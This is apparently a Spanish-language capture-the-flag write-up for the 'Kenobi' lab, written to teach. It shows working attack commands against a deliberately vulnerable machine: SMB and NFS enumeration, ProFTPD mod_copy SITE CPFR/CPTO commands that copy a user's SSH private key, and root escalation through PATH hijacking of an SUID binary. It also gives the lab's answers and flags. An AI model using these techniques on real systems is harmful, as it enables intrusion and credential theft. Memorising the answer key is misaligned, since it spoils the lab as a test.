

Kenobi

Iniciamos la VPN

```
> sudo openvpn mblnt.ovpn
[sudo] password for kali:
2024-07-05 15:51:19 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2024-07-05 15:51:19 Note: cipher 'AES-256-CBC' in --data-ciphers is not supported by ovpn-dco, disabling data channel offload.
2024-07-05 15:51:21 net_route_v4_add: 10.10.0.0/16 via 10.9.0.1 dev tun0
2024-07-05 15:51:21 Initialization Sequence Completed
2024-07-05 15:51:21 Data Channel: cipher 'AES-256-CBC' auth 'IGMP'
```

Iniciamos la maquina

Target Machine Information

Title	Target IP Address	Expires
Kenobi	10.10.4.29	58min 45s

?

Add 1 hour

Terminate

```
> ip -br a
lo                UNKNOWN      127.0.0.1/8 ::1/128
eth0              UP          10.0.2.15/24 fe80::55b5:4377:be60:740a/64
tun0              UNKNOWN     10.9.2.57/16 fe80::582d:f0e9:b3eb:9e11/64

> ping 10.10.4.29
PING 10.10.4.29 (10.10.4.29) 56(84) bytes of data.
64 bytes from 10.10.4.29: icmp_seq=1 ttl=63 time=45.2 ms
64 bytes from 10.10.4.29: icmp_seq=2 ttl=63 time=47.9 ms
```

Confirmamos la conexión con la ip victima

Comenzamos haciendo un escaneo de puertos y servicios que están corriendo

sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn <IP_VICTIMA> > escaneo

```

> cd Desktop
> cd maquinas
> mkdir Kenobi
> cd Kenobi
> sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.4.29 > escaneo
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.

```

cat para ver el escaneo

```


File: escaneo
1 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 15:56 CEST
2 Initiating SYN Stealth Scan at 15:56
3 Scanning 10.10.4.29 [65535 ports]
4 Discovered open port 80/tcp on 10.10.4.29
5 Discovered open port 22/tcp on 10.10.4.29
6 Discovered open port 111/tcp on 10.10.4.29
7 Discovered open port 445/tcp on 10.10.4.29
8 Discovered open port 139/tcp on 10.10.4.29
9 Discovered open port 21/tcp on 10.10.4.29
10 Discovered open port 48753/tcp on 10.10.4.29
11 Discovered open port 42315/tcp on 10.10.4.29
12 Discovered open port 42449/tcp on 10.10.4.29
13 Discovered open port 33927/tcp on 10.10.4.29
14 Discovered open port 2049/tcp on 10.10.4.29
15 Completed SYN Stealth Scan at 15:56, 16.23s elapsed (65535 total ports)
16 Nmap scan report for 10.10.4.29
17 Host is up (0.052s latency).
18 Not shown: 63829 closed tcp ports (reset), 1695 filtered tcp ports (no-response)
19 Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
20 PORT      STATE SERVICE
21 21/tcp    open  ftp
22 22/tcp    open  ssh
23 80/tcp    open  http
24 111/tcp   open  rpcbind
25 139/tcp   open  netbios-ssn
26 445/tcp   open  microsoft-ds
27 2049/tcp  open  nfs
28 33927/tcp open  unknown
29 42315/tcp open  unknown
30 42449/tcp open  unknown
31 48753/tcp open  unknown
32
33 Read data files from: /usr/bin/./share/nmap
34 Nmap done: 1 IP address (1 host up) scanned in 16.30 seconds
35 Raw packets sent: 80297 (3.533MB) | Rcvd: 67569 (2.703MB)
(END)

```

Contestamos las primeras preguntas de la maquina

Task 1

Deploy the vulnerable machine



Start Machine

This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.

Answer the questions below

Make sure you're connected to our network and deploy the machine

No answer neededComplete

Scan the machine with nmap, how many ports are open?

7Correct AnswerHint

Lo siguiente es hacer una enumeración de las comparticiones Samba con nmap

NOTA:SAMBA

Samba es el conjunto estándar de programas de interoperabilidad con Windows para Linux y Unix. Permite a los usuarios finales acceder y usar archivos, impresoras y otros recursos compartidos comúnmente en la intranet o internet de una empresa. A menudo se le conoce como un sistema de archivos de red.

Samba se basa en el protocolo común cliente/servidor de Server Message Block (SMB). SMB fue desarrollado únicamente para Windows; sin Samba, otras plataformas informáticas estarían aisladas de las máquinas Windows, incluso si fueran parte de la misma red.

PORTS 139 AND 445

- **Port 139:** SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
- **Port 445:** Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <IP_VICTIMA>
```

- **-p 445** : Especifica que quieres escanear el puerto 445. Este puerto es comúnmente utilizado por el protocolo SMB, que se utiliza para compartir archivos, servicios de impresión y otras comunicaciones entre computadoras en una red.
- **--script=smb-enum-shares.nse,smb-enum-users.nse** : Esta opción indica a **nmap** que utilice dos scripts específicos del Motor de Scripts de Nmap (NSE):
- **smb-enum-shares.nse** : Este script se utiliza para enumerar (listar) los recursos compartidos SMB disponibles en el sistema de destino. Los recursos compartidos SMB son directorios o recursos que se comparten en la red.
- **smb-enum-users.nse** : Este script se utiliza para enumerar (listar) los usuarios que están autenticados en el servicio SMB que se ejecuta en el sistema de destino.

```
> nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.4.29 > escaneoSAMBA
```

```
~/Desktop/maquinas/Kenobi > 7s
```

cat para ver el documento

```
File: escaneoSAMBAsmbclient 10.10.4.29 -u guest -c

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 16:06 CEST
Nmap scan report for 10.10.4.29
Host is up (0.046s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.4.29\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.4.29\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.4.29\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|     Current user access: <none>
|_

Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
```

vamos contestando las preguntas de la maquina

```
nmap -p 445 --script=smb-enum-shares,nse,smb-enum-users,nse 10.10.4.29
```

SMB has two ports, 445 and 139.

PORTS 139 AND 445

- **Port 139:** SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
- **Port 445:** Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.

Using the nmap command above, how many shares have been found?

3

✓ Correct Answer

Nos conectamos a la maquina mediante

No ingresamos nada en la contraseña

smbclient //10.10.132.120/anonymous

```
> smbclient //10.10.132.120/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Wed Sep  4 12:49:09 2019
..               D           0   Wed Sep  4 12:56:07 2019
log.txt          N       12237   Wed Sep  4 12:49:09 2019
```

Contestamos las preguntas de la maquina

smbclient //10.10.132.120/anonymous

Using your machine, connect to the machines network share.

```
ben@cloud ~/Downloads $ smbclient //10.10.239.150/anonymous
WARNING: The "syslog" option is deprecated
Enter ben's password:
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
```

Once you're connected, list the files on the share. What is the file can you see?

log.txt

✓ Correct Answer

What port is FTP running on?

21

✓ Correct Answer

Nuestro escaneo anterior con nmap, mostro que en el puerto 111 esta ejecutandose el servicio rpcbind

NOTA:Este es simplemente un servidor que convierte el número de programa de llamada a procedimiento remoto (RPC) en direcciones universales. Cuando se inicia un servicio RPC, le dice a rpcbind la dirección en la que está escuchando y el número de programa RPC que está preparado para servir.

El puerto 111 da acceso a un sistema de archivos en red, vamos a enumerarlo

`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <IP_VICTIMA>`

```
> nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.132.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 16:08 CEST
Nmap scan report for 10.10.132.120
Host is up (0.046s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-showmount:
|_ /var *

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

~/Desktop/maquinas/Kenobi >
```

Contestamos las preguntas de la maquina

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.

```
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.132.120
```

What mount can we see?

✓ Correct Answer

Vamos a obtener la versión de ProFtpd, para ello nos conectaremos al puerto donde esta corriendo el servicio mediante netcat y nos debería dar la versión

```
> nc 10.10.132.120 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.132.120]
```

Contestamos las preguntas de la maquina

Answer the questions below

Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.

What is the version?

✓ Correct Answer

💡 Hint

Usaremos searchsploit para buscar con la version y el nombre del servidor ftp

```
> searchsploit ProFTPD 1.3.5
-----
| Exploit Title                                     | Path                                     |
-----|-----|
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution      | linux/remote/36803.py
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (2)  | linux/remote/49908.py
ProFTPD 1.3.5 - File Copy                                | linux/remote/36742.txt
-----
Shellcodes: No Results

~/Desktop/maquinas/Kenobi > ✓ █
```

Contestamos las preguntas de la maquina

We can use searchsploit to find exploits for a particular software version.

Searchsploit is basically just a command line search tool for exploit-db.com.

How many exploits are there for the ProFTPD running?

✓ Correct Answer

💡 Hint

NOTA:

Los comandos `SITE CPFR` y `SITE CPTO` son comandos específicos del módulo `mod_copy` de ProFTPD, un servidor FTP. Estos comandos permiten copiar archivos o directorios dentro del sistema de archivos del servidor FTP.

- **`SITE CPFR` (Copy From):** Este comando se utiliza para especificar la ruta del archivo o directorio que se desea copiar. Es el punto de origen.
- **`SITE CPTO` (Copy To):** Este comando se utiliza para especificar la ruta de destino a donde se desea copiar el archivo o directorio previamente especificado con `SITE CPFR`.

Vamos a conectarnos al servidor y vamos a copiar la clave privada del usuario sabiendo que es kenobi


```
> nc 10.10.132.120 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.132.120]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

El directorio /var es un montaje que podemos ver, por lo que hemos movido la clave privada de kenobi al directorio /var/tmp

Vamos a montar el directorio /var/tmp en nuestra máquina

```
> sudo mkdir /mnt/kenobi
> cd /mnt
> ls
kenobi
```

```
> sudo mount 10.10.132.120:/var /mnt/kenobi
> ls -la /mnt/kenobi
drwxr-xr-x root root 4.0 KB Wed Sep 4 10:53:24 2019 .
drwxr-xr-x root root 4.0 KB Wed Jul 10 17:03:46 2024 ..
drwxr-xr-x root root 4.0 KB Wed Sep 4 14:09:49 2019 backups
drwxr-xr-x root root 4.0 KB Wed Sep 4 12:37:44 2019 cache
drwxrwxrwt root root 4.0 KB Wed Sep 4 10:43:56 2019 cras
drwxr-xr-x root root 4.0 KB Wed Sep 4 12:37:44 2019 lib
drwxrwsr-x root staff 4.0 KB Tue Apr 12 22:14:23 2016 local
lrwxrwxrwx root root 9 B Wed Sep 4 10:41:33 2019 lock => /run
drwxrwxr-x root avahi 4.0 KB Wed Sep 4 12:37:44 2019 log
drwxrwsr-x root mail 4.0 KB Wed Feb 27 00:58:11 2019 mail
drwxr-xr-x root root 4.0 KB Wed Feb 27 00:58:11 2019 opt
lrwxrwxrwx root root 4 B Wed Sep 4 10:41:33 2019 run => /run
drwxr-xr-x root root 4.0 KB Wed Jan 30 00:27:41 2019 snap
drwxr-xr-x root root 4.0 KB Wed Sep 4 12:37:44 2019 spool
drwxrwxrwt root root 4.0 KB Wed Jul 10 16:58:54 2024 tm
drwxr-xr-x root root 4.0 KB Wed Sep 4 10:53:24 2019 www
```

Tenemos el montaje en nuestra maquina, ahora podemos acceder a /var/tmp y obtener la clave privada del usuario kenobi

Accedemos mediante ssh con el usuario y la clave privada

```
> cd /mnt/kenobi/tmp
> ssh -i id_rsa kenobi@10.10.132.120
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@                WARNING: UNPROTECTED PRIVATE KEY FILE!            @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
kenobi@10.10.132.120's password: █
```

Verificamos los permisos

```
> chmod 600 id_rsa
chmod: changing permissions of 'id_rsa': Read-only file system

🔒 /mnt/kenobi/tmp > ❌ i █
```

Al no tener permisos de escritura no podemos cambiar los permisos.

```
> cd /mnt/kenobi/tmp
> ls
📁 id_rsa
📁 systemd-private-0ccc0a51d0d44975963d38f04be2c9f1-systemd-timesyncd.service-aAyBAJ
📁 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
📁 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
📁 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-z0bUdn
> cp id_rsa /home/kali/Desktop

🔒 /mnt/kenobi/tmp > ✅ █
```

Tenemos la clave privada en nuestro escritorio

```
> chmod 600 id_rsa
```

Intentamos el acceso mediante ssh

```
> ssh -i id_rsa kenobi@10.10.132.120
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$
```

Ya tenemos el acceso mediante ssh

```
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Respondemos las preguntas de la maquina

We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.

```
beneccloud ~/Downloads $ cp /mnt/kenobiNFS/tmp/id_rsa .
beneccloud ~/Downloads $ sudo chmod 600 id_rsa
beneccloud ~/Downloads $ ssh -i id_rsa kenobi@10.10.239.150
```

What is Kenobi's user flag (/home/kenobi/user.txt)?

d0b0f3f53b6caa532a83915e19224899

✓ Correct Answer

Escalada de privilegios

rw-rw-rw-
SUID SGID Sticky Bit
rwSrwsrwt

Lets first understand what what SUID, SGID and Sticky Bits are.

Permission	On Files	On Directories
SUID Bit	User executes the file with permissions of the <i>file</i> owner	-
SGID Bit	User executes the file with the permission of the <i>group</i> owner.	File created in directory gets the same group owner.
Sticky Bit	No meaning	Users are prevented from deleting files from other users.

Buscamos binarios con permisos SUID en el sistema

1ª Forma → `find / -perm -4000 2>/dev/null`

2ª Forma → `find / -perm -u=s -type f 2>/dev/null`

```
kenobi@kenobi:~$ find / -perm -4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

Ejecutamos el binario

```
kenobi@kenobi:~$ /usr/bin/menu

*****

1. status check
2. kernel version
3. ifconfig
** Enter your choice : █
```

Contestamos las preguntas de la maquina

What file looks particularly out of the ordinary?

✓ Correct Answer

Run the binary, how many options appear?

✓ Correct Answer

```
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ ls
curl  systemd-private-7abee8f7e4604636b262a395ca54e99b-systemd-timesyncd.service-KqoE3m
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

*****

1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# █
```

Dado que este archivo se ejecuta con los privilegios del usuario root, podemos manipular nuestra variable de entorno PATH para obtener una shell como root.

Copiamos la shell /bin/sh, lo renombramos como curl, le dimos los permisos correctos y luego agregamos su ubicación a nuestra variable PATH. Esto significa que cuando se ejecuta el binario /usr/bin/menu, utiliza nuestra variable PATH para encontrar el binario "curl" que en realidad es una versión de /bin/sh. Además,

dado que este archivo se ejecuta como root, nuestra shell también se ejecuta como root.

```
# whoami
root
# ls
bin    etc      initrd.img.old  lost+found  opt    run    srv    usr      vmlinuz.old
boot  home     lib             media       proc   sbin   sys    var
dev    initrd.img lib64           mnt         root   snap   tmp    vmlinuz
# cd root
# ls
root.txt
# cat root.txt
177b3cd8562289f37382721c28381f02
#
```